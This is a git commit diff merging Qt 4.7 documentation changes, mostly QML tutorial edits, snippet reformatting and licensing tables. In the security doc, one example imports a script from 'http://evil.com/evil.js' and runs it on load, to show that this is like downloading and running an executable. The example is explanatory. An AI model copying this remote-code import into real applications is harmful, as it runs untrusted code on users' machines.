diff options
author | Jerome Pasion <jerome.pasion@nokia.com> | 2011-02-04 11:28:14 (GMT) |
---|---|---|
committer | Jerome Pasion <jerome.pasion@nokia.com> | 2011-02-04 11:28:14 (GMT) |
commit | ce0fc2ebeaf195368c31b143a40850f01ada450a (patch) | |
tree | 3c46a405766b4ec5a5676fca15df5d4e13ca2342 /doc/src | |
parent | 39e7c4de155a150a0e7da6e40f59aadecaea0a8a (diff) | |
parent | 74ad5ce57adedc91717ffd67e3e65b8f76d12052 (diff) | |
download | Qt-ce0fc2ebeaf195368c31b143a40850f01ada450a.zip Qt-ce0fc2ebeaf195368c31b143a40850f01ada450a.tar.gz Qt-ce0fc2ebeaf195368c31b143a40850f01ada450a.tar.bz2 |
Merge branch '4.7' of scm.dev.nokia.troll.no:qt/qt-doc-team into 4.7
Conflicts:
doc/src/declarative/extending.qdoc
doc/src/external-resources.qdoc
src/declarative/util/qdeclarativeanimation.cpp
src/declarative/util/qdeclarativetransition.cpp
Diffstat (limited to 'doc/src')
44 files changed, 868 insertions, 413 deletions
diff --git a/doc/src/declarative/advtutorial.qdoc b/doc/src/declarative/advtutorial.qdoc index 6cd1f22..263c78b 100644 --- a/doc/src/declarative/advtutorial.qdoc +++ b/doc/src/declarative/advtutorial.qdoc @@ -41,7 +41,7 @@ included in the declarative \c demos directory, which looks like this: \image declarative-samegame.png We will cover concepts for producing a fully functioning application, including -JavaScript integration, using QML \l States and \l {Behavior}{Behaviors} to +JavaScript integration, using QML \l{State}{States} and \l{Behavior}{Behaviors} to manage components and enhance your interface, and storing persistent application data. An understanding of JavaScript is helpful to understand parts of this tutorial, but if you don't @@ -462,5 +462,4 @@ By following this tutorial you've seen how you can write a fully functional appl There is so much more to learn about QML that we haven't been able to cover in this tutorial. Check out all the demos and examples and the \l {Qt Quick}{documentation} to see all the things you can do with QML! - */ diff --git a/doc/src/declarative/anchor-layout.qdoc b/doc/src/declarative/anchor-layout.qdoc index 6d324ed..7fc16d8 100644 --- a/doc/src/declarative/anchor-layout.qdoc +++ b/doc/src/declarative/anchor-layout.qdoc @@ -81,6 +81,9 @@ Rectangle { id: rect3; x: 150; ... } \image edge4.png +There are also some convenience anchors. anchors.fill is a convenience that is the same as setting the left,right,top and bottom anchors +to the left,right,top and bottom of the target item. anchors.centerIn is another convenience anchor, and is the same as setting the verticalCenter +and horizontalCenter anchors to the verticalCenter and horizontalCenter of the target item. \section1 Anchor Margins and Offsets diff --git a/doc/src/declarative/basictypes.qdoc b/doc/src/declarative/basictypes.qdoc index d4b3eba..948bdef 100644 --- a/doc/src/declarative/basictypes.qdoc +++ b/doc/src/declarative/basictypes.qdoc @@ -178,13 +178,10 @@ transparent blue to a quad of \c "#800000FF". Example: - \qml - Rectangle { color: "steelblue" } - Rectangle { color: "transparent" } - Rectangle { color: "#FF0000" } - Rectangle { color: "#800000FF" } - Rectangle { color: "#00000000" } // ARGB fully transparent - \endqml + \div{float-right} + \inlineimage declarative-colors.png + \enddiv + \snippet doc/src/snippets/declarative/colors.qml colors Or with the \l{QML:Qt::rgba()}{Qt.rgba()}, \l{QML:Qt::hsla()}{Qt.hsla()}, \l{QML:Qt::darker()}{Qt.darker()}, \l{QML:Qt::lighter()}{Qt.lighter()} or \l{QML:Qt::tint()}{Qt.tint()} functions: @@ -365,9 +362,11 @@ Actions are used like this: \qml - MouseArea { onClicked: myaction.trigger() } - State { name: "enabled"; when: myaction.enabled == true } - Text { text: someaction.text } + Item { + MouseArea { onClicked: myaction.trigger() } + State { name: "enabled"; when: myaction.enabled == true } + Text { text: someaction.text } + } \endqml \sa {QML Basic Types} diff --git a/doc/src/declarative/dynamicobjects.qdoc b/doc/src/declarative/dynamicobjects.qdoc index 1cc4aea..3d3d814 100644 --- a/doc/src/declarative/dynamicobjects.qdoc +++ b/doc/src/declarative/dynamicobjects.qdoc @@ -188,7 +188,9 @@ Note also that if a \c SelfDestroyingRect instance was created statically like t \qml Item { - SelfDestroyingRect { ... } + SelfDestroyingRect { + // ... + } } \endqml diff --git a/doc/src/declarative/example-slideswitch.qdoc b/doc/src/declarative/example-slideswitch.qdoc index 2b82b2f..9f84ee6 100644 --- a/doc/src/declarative/example-slideswitch.qdoc +++ b/doc/src/declarative/example-slideswitch.qdoc @@ -60,8 +60,16 @@ It can be used to activate/disactivate the switch or to query its current state. In this example: \qml -Switch { id: mySwitch; on: true } -Text { text: "The switch is on"; visible: mySwitch.on == true } +Item { + Switch { + id: mySwitch + on: true + } + Text { + text: "The switch is on" + visible: mySwitch.on == true + } +} \endqml the text will only be visible when the switch is on. diff --git a/doc/src/declarative/modules.qdoc b/doc/src/declarative/modules.qdoc index 1dca28c..3bb69da 100644 --- a/doc/src/declarative/modules.qdoc +++ b/doc/src/declarative/modules.qdoc @@ -52,7 +52,7 @@ An \c import statement includes the module name, and possibly a version number. This can be seen in the snippet commonly found at the top of QML files: \qml - import QtQuick 1.0 +import QtQuick 1.0 \endqml This imports version 1.0 of the "QtQuick" module into the global namespace. (The QML diff --git a/doc/src/declarative/qdeclarativeintro.qdoc b/doc/src/declarative/qdeclarativeintro.qdoc index 4b7dce5..02692de 100644 --- a/doc/src/declarative/qdeclarativeintro.qdoc +++ b/doc/src/declarative/qdeclarativeintro.qdoc @@ -27,7 +27,7 @@ /*! \page qdeclarativeintroduction.html -\title Introduction to the QML language +\title Introduction to the QML Language \tableofcontents @@ -121,7 +121,7 @@ line opacity: 0.5 has been turned into a comment. -\section1 Object identifiers +\section1 Object Identifiers Each object can be given a special \e id value that allows the object to be identified and referred to by other objects. @@ -160,19 +160,19 @@ characters other than letters, numbers and underscores. JavaScript expressions can be used to assign property values. For example: -\code +\qml Item { width: 100 * 3 height: 50 + 22 } -\endcode +\endqml These expressions can include references to other objects and properties, in which case a \l{Property Binding}{binding} is established: when the value of the expression changes, the property to which the expression is assigned is automatically updated to the new value. For example: -\code +\qml Item { width: 300 height: 300 @@ -183,7 +183,7 @@ Item { color: "yellow" } } -\endcode +\endqml Here, the \l Rectangle object's \c width property is set relative to the width of its parent. Whenever the parent's width changes, the width of the \l Rectangle is @@ -194,7 +194,7 @@ automatically updated. \section1 Properties \target intro-properties -\section2 Basic property types +\section2 Basic Property Types QML supports properties of many types (see \l{QML Basic Types}). The basic types include \c int, \c real, \c bool, \c string and \c color. @@ -222,7 +222,7 @@ Note that with the exception of \l {Attached Properties}, properties always begi letter. -\section2 Property change notifications +\section2 Property Change Notifications When a property changes value, it can send a signal to notify others of this change. @@ -271,7 +271,7 @@ Items in the list can be accessed by index. See the \l{list}{list type} document for more details about list properties and their available operations. -\section2 Default properties +\section2 Default Properties Each object type can specify one of its list or object properties as its default property. If a property has been declared as the default property, the property tag can be omitted. @@ -330,7 +330,7 @@ element that attaches \e property. For example, the \l ListView element attaches the \e ListView.isCurrentItem property to each delegate it creates: -\code +\qml Component { id: myDelegate Text { @@ -338,10 +338,13 @@ Component { color: ListView.isCurrentItem ? "red" : "blue" } } +\endqml + +\qml ListView { delegate: myDelegate } -\endcode +\endqml Another example of attached properties is the \l Keys element which attaches properties for handling key presses to @@ -390,6 +393,4 @@ MouseArea { } } \endqml - - */ diff --git a/doc/src/declarative/qdeclarativemodels.qdoc b/doc/src/declarative/qdeclarativemodels.qdoc index 6ff2748..7d89056 100644 --- a/doc/src/declarative/qdeclarativemodels.qdoc +++ b/doc/src/declarative/qdeclarativemodels.qdoc @@ -286,7 +286,7 @@ with models of type QAbstractItemModel: \endlist -\section2 Exposing C++ data models to QML +\section2 Exposing C++ Data Models to QML The above examples use QDeclarativeContext::setContextProperty() to set model values directly in QML components. An alternative to this is to @@ -318,7 +318,9 @@ MyModel { id: myModel ListElement { someProperty: "some value" } } +\endqml +\qml ListView { width: 200; height: 250 model: myModel diff --git a/doc/src/declarative/qdeclarativesecurity.qdoc b/doc/src/declarative/qdeclarativesecurity.qdoc index 8aa031d..482043c 100644 --- a/doc/src/declarative/qdeclarativesecurity.qdoc +++ b/doc/src/declarative/qdeclarativesecurity.qdoc @@ -41,8 +41,12 @@ arbitrary downloaded JavaScript, nor instantiate arbitrary downloaded QML elemen For example, this QML content: \qml +import QtQuick 1.0 import "http://evil.com/evil.js" as Evil -... Evil.doEvil() ... + +Component { + onLoaded: Evil.doEvil() +} \endqml is equivalent to downloading "http://evil.com/evil.exe" and running it. The JavaScript execution diff --git a/doc/src/declarative/qdeclarativestates.qdoc b/doc/src/declarative/qdeclarativestates.qdoc index 45bb795..4089609 100644 --- a/doc/src/declarative/qdeclarativestates.qdoc +++ b/doc/src/declarative/qdeclarativestates.qdoc @@ -75,7 +75,7 @@ of an item, set the \l {Item::}{state} property to the name of the state. Non-Item objects can use states through the StateGroup element. -\section1 Creating states +\section1 Creating States To create a state, add a \l State object to the item's \l {Item::}{states} property, which holds a list of states for that item. @@ -95,7 +95,7 @@ objects, not just the object that owns the state. For example: \qml Rectangle { - ... + // ... states: [ State { name: "moved" @@ -110,14 +110,7 @@ As a convenience, if an item only has one state, its \l {Item::}{states} property can be defined as a single \l State, without the square-brace list syntax: -\qml -Item { - ... - states: State { - ... - } -} -\endqml +\snippet doc/src/snippets/declarative/propertyanimation.qml single state A \l State is not limited to performing modifications on property values. It can also: @@ -134,7 +127,7 @@ demonstrates how to declare a basic set of states and apply animated transitions between them. -\section1 The default state +\section1 The Default State Of course, the \l Rectangle in the example above could have simply been moved by setting its position to (50, 50) in the mouse area's \c onClicked handler. @@ -150,7 +143,7 @@ like this: \qml Rectangle { - ... + // ... MouseArea { id: mouseArea @@ -158,8 +151,9 @@ Rectangle { } states: State { - name: "moved"; when: mouseArea.pressed - ... + name: "moved" + when: mouseArea.pressed + // ... } } \endqml @@ -175,7 +169,7 @@ using the \l {State::}{when} property, the above code could be changed to: \qml Rectangle { - ... + // ... MouseArea { anchors.fill: parent @@ -185,7 +179,7 @@ Rectangle { states: State { name: "moved" - ... + // ... } } \endqml @@ -195,7 +189,7 @@ as it provides a simpler (and a better, more declarative) solution than assigning the state from signal handlers. -\section1 Animating state changes +\section1 Animating State Changes State changes can be easily animated through \l {Transitions}{transitions}. A @@ -207,12 +201,14 @@ movement of the \l Rectangle would be animated: \qml Rectangle { - ... + // ... - MouseArea { ... } + MouseArea { + // Handle mouse events... + } states: [ - ... + // States are defined here... ] transitions: [ @@ -228,5 +224,4 @@ during a state change within this item, their values should be animated over 500 milliseconds. See the \l Transitions documentation for more information. - */ diff --git a/doc/src/declarative/qml-intro.qdoc b/doc/src/declarative/qml-intro.qdoc index 563dc3b..3f3e0e4 100644 --- a/doc/src/declarative/qml-intro.qdoc +++ b/doc/src/declarative/qml-intro.qdoc @@ -61,7 +61,7 @@ The basic syntax of an \l{QML Elements}{element} is \qml SomeElement { id: myObject - ... some other things here ... + // ... some other things here ... } \endqml @@ -247,13 +247,17 @@ referencing these properties from another object we use the property directly, instead of saying: \qml -myRectangle.anchors.top // Wrong +Item { + anchors.bottom: myRectangle.anchors.top // Wrong +} \endqml we use \qml -myRectangle.top // Correct +Item { + anchors.bottom: myRectangle.top // Correct +} \endqml @@ -275,11 +279,7 @@ about the z-axis by 90 degrees in a negative direction, anti-clockwise. Rotation of text was also suggested. It could also be useful to scale the text. We can do both. The \l {Item::transform}{transform} property is a \e list of \l Transform elements, so using the list syntax - -\qml -myList: [ listElement1, listElement2, ... } ] -\endqml - +\c{myList: [ listElement1, listElement2, ... } ]} we can produce a list of transformations. The text will be rotated by 45 degrees anti-clockwise and scaled diff --git a/doc/src/declarative/qtbinding.qdoc b/doc/src/declarative/qtbinding.qdoc index f415b8a..d11825e 100644 --- a/doc/src/declarative/qtbinding.qdoc +++ b/doc/src/declarative/qtbinding.qdoc @@ -238,6 +238,10 @@ defined by C++ classes; in fact, many of the core \l {QML Elements} are implemen C++ classes. When you create a QML object using one of these elements, you are simply creating an instance of a QObject-based C++ class and setting its properties. +To create a visual item that fits in with the Qt Quick elements, base your class off \l QDeclarativeItem instead of QObject directly. +You can then implement your own painting and functionality like any other QGraphicsObject. Note that QGraphicsItem::ItemHasNoContents is set by default on QDeclarativeItem because +it does not paint anything; you will need to clear this if your item is supposed to paint anything (as opposed to being solely for input handling or logical grouping). + For example, here is an \c ImageViewer class with an \c image URL property: \snippet doc/src/snippets/declarative/qtbinding/newelements/imageviewer.h 0 @@ -252,6 +256,11 @@ Then, any QML code loaded by your C++ application or \l{QDeclarativeExtensionPlu \snippet doc/src/snippets/declarative/qtbinding/newelements/standalone.qml 0 + +It is advised that you avoid using QGraphicsItem functionality beyond the properties documented in QDeclarativeItem. +This is because the GraphicsView backend is intended to be an implementation detail for QML, so the QtQuick items can be moved to faster backends as they become available with no change from a QML perspective. +To minimize any porting requirements for custom visual items, try to stick to the documented properties in QDeclarativeItem where possible. Properties QDeclarativeItem inherits but doesn't document are classed as implementation details; they are not officially supported and may disappear between releases. + Note that custom C++ types do not have to inherit from QDeclarativeItem; this is only necessary if it is a displayable item. If the item is not displayable, it can simply inherit from QObject. diff --git a/doc/src/declarative/qtdeclarative.qdoc b/doc/src/declarative/qtdeclarative.qdoc index 05dac52..e8a1c24 100644 --- a/doc/src/declarative/qtdeclarative.qdoc +++ b/doc/src/declarative/qtdeclarative.qdoc @@ -56,7 +56,7 @@ \macro QML_DECLARE_TYPE() \relates QDeclarativeEngine - Equivalent to \c Q_DECLARE_METATYPE(TYPE) and \c Q_DECLARE_METATYPE(QDeclarativeListProperty<TYPE>) + Equivalent to \c Q_DECLARE_METATYPE(TYPE *) and \c Q_DECLARE_METATYPE(QDeclarativeListProperty<TYPE>) #include <QtDeclarative> to use this macro. */ @@ -103,7 +103,9 @@ \qml import com.mycompany.qmlcomponents 1.0 - Slider { ... } + Slider { + // ... + } \endqml Note that it's perfectly reasonable for a library to register types to older versions diff --git a/doc/src/deployment/deployment.qdoc b/doc/src/deployment/deployment.qdoc index 4817058..bc80ed3 100644 --- a/doc/src/deployment/deployment.qdoc +++ b/doc/src/deployment/deployment.qdoc @@ -1550,8 +1550,8 @@ \note If you want to have your application properly Symbian Signed for distribution, you will have to properly sign both the application and the application installer packages. Please see - \l{http://developer.symbian.org/wiki/index.php/Category:Symbian_Signed} - {Symbian Signed wiki} for more information about Symbian Signed. + \l{http://wiki.forum.nokia.com/index.php/Category:Symbian_Signed} + {Forum Nokia Wiki} for more information about Symbian Signed. For more information about creating a \c .sis file and installing it to device see also \l {The Symbian platform - Introduction to Qt#Installing your own applications}{here}. diff --git a/doc/src/examples/qml-examples.qdoc b/doc/src/examples/qml-examples.qdoc index 6859ea3..dd1206b 100644 --- a/doc/src/examples/qml-examples.qdoc +++ b/doc/src/examples/qml-examples.qdoc @@ -68,7 +68,7 @@ \title Animation: States Example \example declarative/animation/states - These examples show how to use \l{States}{states} and \l{Transitions}{transitions}. + These examples show how to use \l{State}{states} and \l{Transition}{transitions}. The \c states.qml example shows how an item can change between states, and \c transitions.qml shows how these state changes can be animated. @@ -664,7 +664,7 @@ This example shows how to create a tab widget. It also demonstrates how \l {Property aliases}{property aliases} and - \l {Default Properties}{default properties} can be used to collect and + \l {Introduction to the QML Language#Default Properties}{default properties} can be used to collect and assemble the child items declared within an \l Item. \image qml-tabwidget-example.png diff --git a/doc/src/external-resources.qdoc b/doc/src/external-resources.qdoc index 0e3d933..0fb7c52 100644 --- a/doc/src/external-resources.qdoc +++ b/doc/src/external-resources.qdoc @@ -455,7 +455,13 @@ */ /*! + \externalpage https://developer.mozilla.org/en/JavaScript/Reference/Reserved_Words \title JavaScript Reserved Words */ +/*! + \externalpage http://publicsuffix.org/ + \title publicsuffix.org +*/ + diff --git a/doc/src/frameworks-technologies/plugins-howto.qdoc b/doc/src/frameworks-technologies/plugins-howto.qdoc index 3dc2996..b332d57 100644 --- a/doc/src/frameworks-technologies/plugins-howto.qdoc +++ b/doc/src/frameworks-technologies/plugins-howto.qdoc @@ -48,7 +48,7 @@ \ingroup frameworks-technologies \ingroup qt-basic-concepts - + \keyword QT_DEBUG_PLUGINS \keyword QT_NO_PLUGIN_CHECK @@ -87,7 +87,7 @@ directory. \table - \header \o Base Class \o Directory Name \o Key Case Sensitivity + \header \o Base Class \o Directory Name \o Key Case Sensitivity \row \o QAccessibleBridgePlugin \o \c accessiblebridge \o Case Sensitive \row \o QAccessiblePlugin \o \c accessible \o Case Sensitive \row \o QDecorationPlugin \o \c decorations \o Case Insensitive @@ -309,5 +309,10 @@ to make sure that the \c{QT_STATICPLUGIN} preprocessor macro is defined. + \section1 Deploying and Debugging Plugins + + The \l{Deploying Plugins} document covers the process of deploying + plugins with applications and debugging them when problems arise. + \sa QPluginLoader, QLibrary, {Plug & Paint Example} */ diff --git a/doc/src/frameworks-technologies/richtext.qdoc b/doc/src/frameworks-technologies/richtext.qdoc index 7a5a6a6..089f84d 100644 --- a/doc/src/frameworks-technologies/richtext.qdoc +++ b/doc/src/frameworks-technologies/richtext.qdoc @@ -37,6 +37,7 @@ \ingroup frameworks-technologies \ingroup qt-basic-concepts + \ingroup best-practices \nextpage Rich Text Document Structure diff --git a/doc/src/getting-started/examples.qdoc b/doc/src/getting-started/examples.qdoc index 67000e2..296e032 100644 --- a/doc/src/getting-started/examples.qdoc +++ b/doc/src/getting-started/examples.qdoc @@ -488,10 +488,12 @@ \image ipc-examples.png \list - \o \l{ipc/localfortuneclient}{Local Fortune Client}\raisedaster - \o \l{ipc/localfortuneserver}{Local Fortune Server}\raisedaster + \o \l{ipc/localfortuneclient}{Local Fortune Client} + \o \l{ipc/localfortuneserver}{Local Fortune Server} \o \l{ipc/sharedmemory}{Shared Memory}\raisedaster \endlist + + Examples marked with an asterisk (*) are fully documented. */ /*! diff --git a/doc/src/howtos/HWacceleration.qdoc b/doc/src/howtos/HWacceleration.qdoc index b5a4733..0dc5d5e 100644 --- a/doc/src/howtos/HWacceleration.qdoc +++ b/doc/src/howtos/HWacceleration.qdoc @@ -27,7 +27,7 @@ /*! \page HWAcc_rendering.html - \title Hardware Acceleration & Embedded Platforms. + \title Hardware Acceleration and Embedded Platforms. \brief How to use hardware acceleration for fast rendering. \ingroup best-practices @@ -45,11 +45,11 @@ \input platforms/emb-hardwareacceleration.qdocinc \section1 Supported platforms - Since there might be differences to how the APIs are being used on - the different embedded platforms, this table provides you with links to - pages dedicated to platform specific documentation for each - supported hardware acceleration API. Click the API link for the - platform to go the correct documentation. + Since there might be differences to how the APIs are being used on + the different embedded platforms, this table provides you with links to + pages dedicated to platform specific documentation for each + supported hardware acceleration API. Click the API link for the + platform to go the correct documentation. \table \header diff --git a/doc/src/images/declarative-colors.png b/doc/src/images/declarative-colors.png Binary files differnew file mode 100644 index 0000000..f2eacd8 --- /dev/null +++ b/doc/src/images/declarative-colors.png diff --git a/doc/src/images/combobox.png b/doc/src/images/modelview-combobox.png Binary files differindex d172b41..d172b41 100755 --- a/doc/src/images/combobox.png +++ b/doc/src/images/modelview-combobox.png diff --git a/doc/src/images/header.png b/doc/src/images/modelview-header.png Binary files differindex 2597635..2597635 100755 --- a/doc/src/images/header.png +++ b/doc/src/images/modelview-header.png diff --git a/doc/src/legal/commercialeditions.qdoc b/doc/src/legal/commercialeditions.qdoc index 37aed3f..2537a13 100644 --- a/doc/src/legal/commercialeditions.qdoc +++ b/doc/src/legal/commercialeditions.qdoc @@ -37,23 +37,46 @@ If you want to develop Free or Open Source software for release using a recognized Open Source license, you can use the \l{Open Source Versions of Qt}. - The table below summarizes the differences between the two commercial editions: + The following table is a summary of the licenses under which Qt is made available. + + \table + \row \o \bold{Qt Commercial Developer License} + \o The Qt Commercial Developer License is the appropriate version to use for the + development of proprietary and/or commercial software where the developer does not + wish to share or distribute any source code of the Qt libraries or otherwise comply + with the terms of the \l{GNU Lesser General Public License (LGPL)}{GNU Lesser General + Public License version 2.1} or \l{GNU General Public License (GPL)}{GNU GPL version + 3.0}. + \row \o \bold{Qt GNU LGPL v. 2.1} + \o This version of Qt is appropriate for the development of Qt applications + (proprietary or open source) provided you can comply with the terms and conditions + contained in the \l{GNU Lesser General Public License (LGPL)}{GNU LGPL version 2.1}. + \row \o \bold{Qt GNU GPL v. 3.0} + \o This version of Qt is appropriate for the development of Qt applications where + you wish to use such applications in combination with software subject to the terms + of the GNU General Public License version 3.0 or where you are otherwise willing to + comply with the terms of the + \l{GNU General Public License (GPL)}{GNU General Public License version 3.0}. + \endtable Please see the \l{Supported Platforms}{list of supported platforms} for up-to-date information about the various platforms and compilers that Qt supports. - On the Qt web site, you can find a + On the Qt Web site, you can find a \l{Qt Licensing Overview} and information on \l{Qt License Pricing} for commercial editions of Qt and other Qt-related products. - To purchase, please visit the \l{How to Order}{online order form}. - - For further information and assistance, please contact Qt sales. + \section1 Purchasing and Sales Information - Web: http://qt.nokia.com/contact. + To purchase, please visit the \l{How to Order}{online order form}. - Phone, U.S. office (for North America): \bold{1-650-813-1676}. + For further information and assistance, please contact the Qt sales team + via one of the following channels: - Phone, Norway office (for the rest of the world): \bold{+47 21 60 48 00}. + \table + \row \o Web: \o \bold{http://qt.nokia.com/contact} + \row \o Phone, U.S. office (for sales in North America): \o \bold{1-408-220-9020} + \row \o Phone, Norway office (for sales in the rest of the world): \o \bold{+47 21 60 48 00} + \endtable */ diff --git a/doc/src/modules.qdoc b/doc/src/modules.qdoc index 60dd028..38a7a8b 100644 --- a/doc/src/modules.qdoc +++ b/doc/src/modules.qdoc @@ -30,7 +30,7 @@ \title All Modules \startpage index.html Qt Reference Documentation \nextpage QtCore - + \ingroup classlists \brief Qt 4 comprises several modules. Each module is a separate @@ -40,7 +40,7 @@ \header \o {2,1} \bold{Modules for general software development} \row \o \l{QtCore} \o Core non-graphical classes used by other modules \row \o \l{QtGui} \o Graphical user interface (GUI) components - \row \o \l{qtmultimedia.html}{QtMultimedia} \o Classes for low-level multimedia functionality + \row \o \l{QtMultimedia Module}{QtMultimedia} \o Classes for low-level multimedia functionality \row \o \l{QtNetwork} \o Classes for network programming \row \o \l{QtOpenGL} \o OpenGL support classes \row \o \l{QtOpenVG} \o OpenVG support classes diff --git a/doc/src/painting-and-printing/coordsys.qdoc b/doc/src/painting-and-printing/coordsys.qdoc index a8febae..252159e 100644 --- a/doc/src/painting-and-printing/coordsys.qdoc +++ b/doc/src/painting-and-printing/coordsys.qdoc @@ -29,6 +29,7 @@ \page coordsys.html \title Coordinate System \ingroup qt-graphics + \ingroup best-practices \brief Information about the coordinate system used by the paint system. diff --git a/doc/src/snippets/declarative/codingconventions/photo.qml b/doc/src/snippets/declarative/codingconventions/photo.qml index 61e7eb7..78c5068 100644 --- a/doc/src/snippets/declarative/codingconventions/photo.qml +++ b/doc/src/snippets/declarative/codingconventions/photo.qml @@ -49,12 +49,20 @@ Rectangle { signal clicked // signal declarations - function doSomething(x) { // javascript functions + function doSomething(x) // javascript functions + { return x + photoImage.width } - x: 20; y: 20; width: 200; height: 150 // object properties - color: "gray" // try to group related properties together + color: "gray" // object properties + x: 20; y: 20; height: 150 // try to group related properties together + width: { // large bindings + if(photoImage.width > 200){ + photoImage.width; + }else{ + 200; + } + } Rectangle { // child objects id: border diff --git a/doc/src/snippets/declarative/colors.qml b/doc/src/snippets/declarative/colors.qml new file mode 100644 index 0000000..c670eca --- /dev/null +++ b/doc/src/snippets/declarative/colors.qml @@ -0,0 +1,125 @@ +/**************************************************************************** +** +** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 1.0 + +Rectangle { + width: 160; height: 250 + + Image { + width: 160; height: 200 + source: "pics/checker.svg" + fillMode: Image.Tile + + //! [colors] + Rectangle { + color: "steelblue" + width: 40; height: 40 + } + Rectangle { + color: "transparent" + y: 40; width: 40; height: 40 + } + Rectangle { + color: "#FF0000" + y: 80; width: 40; height: 40 + } + Rectangle { + color: "#800000FF" + y: 120; width: 40; height: 40 + } + Rectangle { + color: "#00000000" // ARGB fully transparent + y: 160 + width: 40; height: 40 + } + //! [colors] + + Rectangle { + x: 40 + width: 120; height: 200 + + Text { + font.pixelSize: 16 + text: "steelblue" + x: 10; height: 40 + verticalAlignment: Text.AlignVCenter + } + Text { + font.pixelSize: 16 + text: "transparent" + x: 10; y: 40; height: 40 + verticalAlignment: Text.AlignVCenter + } + Text { + font.pixelSize: 16 + text: "FF0000" + x: 10; y: 80; height: 40 + verticalAlignment: Text.AlignVCenter + } + Text { + font.pixelSize: 16 + text: "800000FF" + x: 10; y: 120; height: 40 + verticalAlignment: Text.AlignVCenter + } + Text { + font.pixelSize: 16 + text: "00000000" + x: 10; y: 160; height: 40 + verticalAlignment: Text.AlignVCenter + } + } + } + + Image { + y: 210 + width: 40; height: 40 + source: "pics/checker.svg" + fillMode: Image.Tile + } + + Text { + font.pixelSize: 16 + text: "(background)" + x: 50; y: 210; height: 40 + verticalAlignment: Text.AlignVCenter + } +} diff --git a/doc/src/snippets/declarative/mousearea/mousearea.qml b/doc/src/snippets/declarative/mousearea/mousearea.qml index e3cbebb..18ea971 100644 --- a/doc/src/snippets/declarative/mousearea/mousearea.qml +++ b/doc/src/snippets/declarative/mousearea/mousearea.qml @@ -46,74 +46,72 @@ Rectangle { width: childrenRect.width height: childrenRect.height -Row { + Row { + //! [intro] + Rectangle { + width: 100; height: 100 + color: "green" -//! [intro] -Rectangle { - width: 100; height: 100 - color: "green" - - MouseArea { - anchors.fill: parent - onClicked: { parent.color = 'red' } - } -} -//! [intro] + MouseArea { + anchors.fill: parent + onClicked: { parent.color = 'red' } + } + } + //! [intro] -//! [intro-extended] -Rectangle { - width: 100; height: 100 - color: "green" + //! [intro-extended] + Rectangle { + width: 100; height: 100 + color: "green" - MouseArea { - anchors.fill: parent - acceptedButtons: Qt.LeftButton | Qt.RightButton - onClicked: { - if (mouse.button == Qt.RightButton) - parent.color = 'blue'; - else - parent.color = 'red'; + MouseArea { + anchors.fill: parent + acceptedButtons: Qt.LeftButton | Qt.RightButton + onClicked: { + if (mouse.button == Qt.RightButton) + parent.color = 'blue'; + else + parent.color = 'red'; + } + } } - } -} -//! [intro-extended] + //! [intro-extended] -//! [drag] -Rectangle { - id: container - width: 600; height: 200 + //! [drag] + Rectangle { + id: container + width: 600; height: 200 - Rectangle { - id: rect - width: 50; height: 50 - color: "red" - opacity: (600.0 - rect.x) / 600 + Rectangle { + id: rect + width: 50; height: 50 + color: "red" + opacity: (600.0 - rect.x) / 600 - MouseArea { - anchors.fill: parent - drag.target: rect - drag.axis: Drag.XAxis - drag.minimumX: 0 - drag.maximumX: container.width - rect.width + MouseArea { + anchors.fill: parent + drag.target: rect + drag.axis: Drag.XAxis + drag.minimumX: 0 + drag.maximumX: container.width - rect.width + } + } } - } -} -//! [drag] + //! [drag] -//! [mousebuttons] -Text { - text: mouseArea.pressedButtons & Qt.RightButton ? "right" : "" - horizontalAlignment: Text.AlignHCenter - verticalAlignment: Text.AlignVCenter - - MouseArea { - id: mouseArea - anchors.fill: parent - acceptedButtons: Qt.LeftButton | Qt.RightButton - } -} -//! [mousebuttons] + //! [mousebuttons] + Text { + text: mouseArea.pressedButtons & Qt.RightButton ? "right" : "" + horizontalAlignment: Text.AlignHCenter + verticalAlignment: Text.AlignVCenter -} + MouseArea { + id: mouseArea + anchors.fill: parent + acceptedButtons: Qt.LeftButton | Qt.RightButton + } + } + //! [mousebuttons] + } } diff --git a/doc/src/snippets/declarative/pics/checker.svg b/doc/src/snippets/declarative/pics/checker.svg new file mode 100644 index 0000000..374d89d --- /dev/null +++ b/doc/src/snippets/declarative/pics/checker.svg @@ -0,0 +1,17 @@ +<?xml version="1.0" standalone="no"?> +<svg width="10px" height="10px" viewBox="0 0 10px 10px" + xmlns="http://www.w3.org/2000/svg" + xmlns:xlink="http://www.w3.org/1999/xlink/" + baseProfile="tiny" version="1.2"> + <title>Checker</title> + <desc>A checkerboard pattern to use as a background.</desc> + <g fill="#e0e0e0" stroke="none" > + <rect x="0" y="0" width="10px" height="10px" /> + </g> + <g fill="#404040" stroke="none" > + <rect x="0" y="0" width="5px" height="5px" /> + </g> + <g 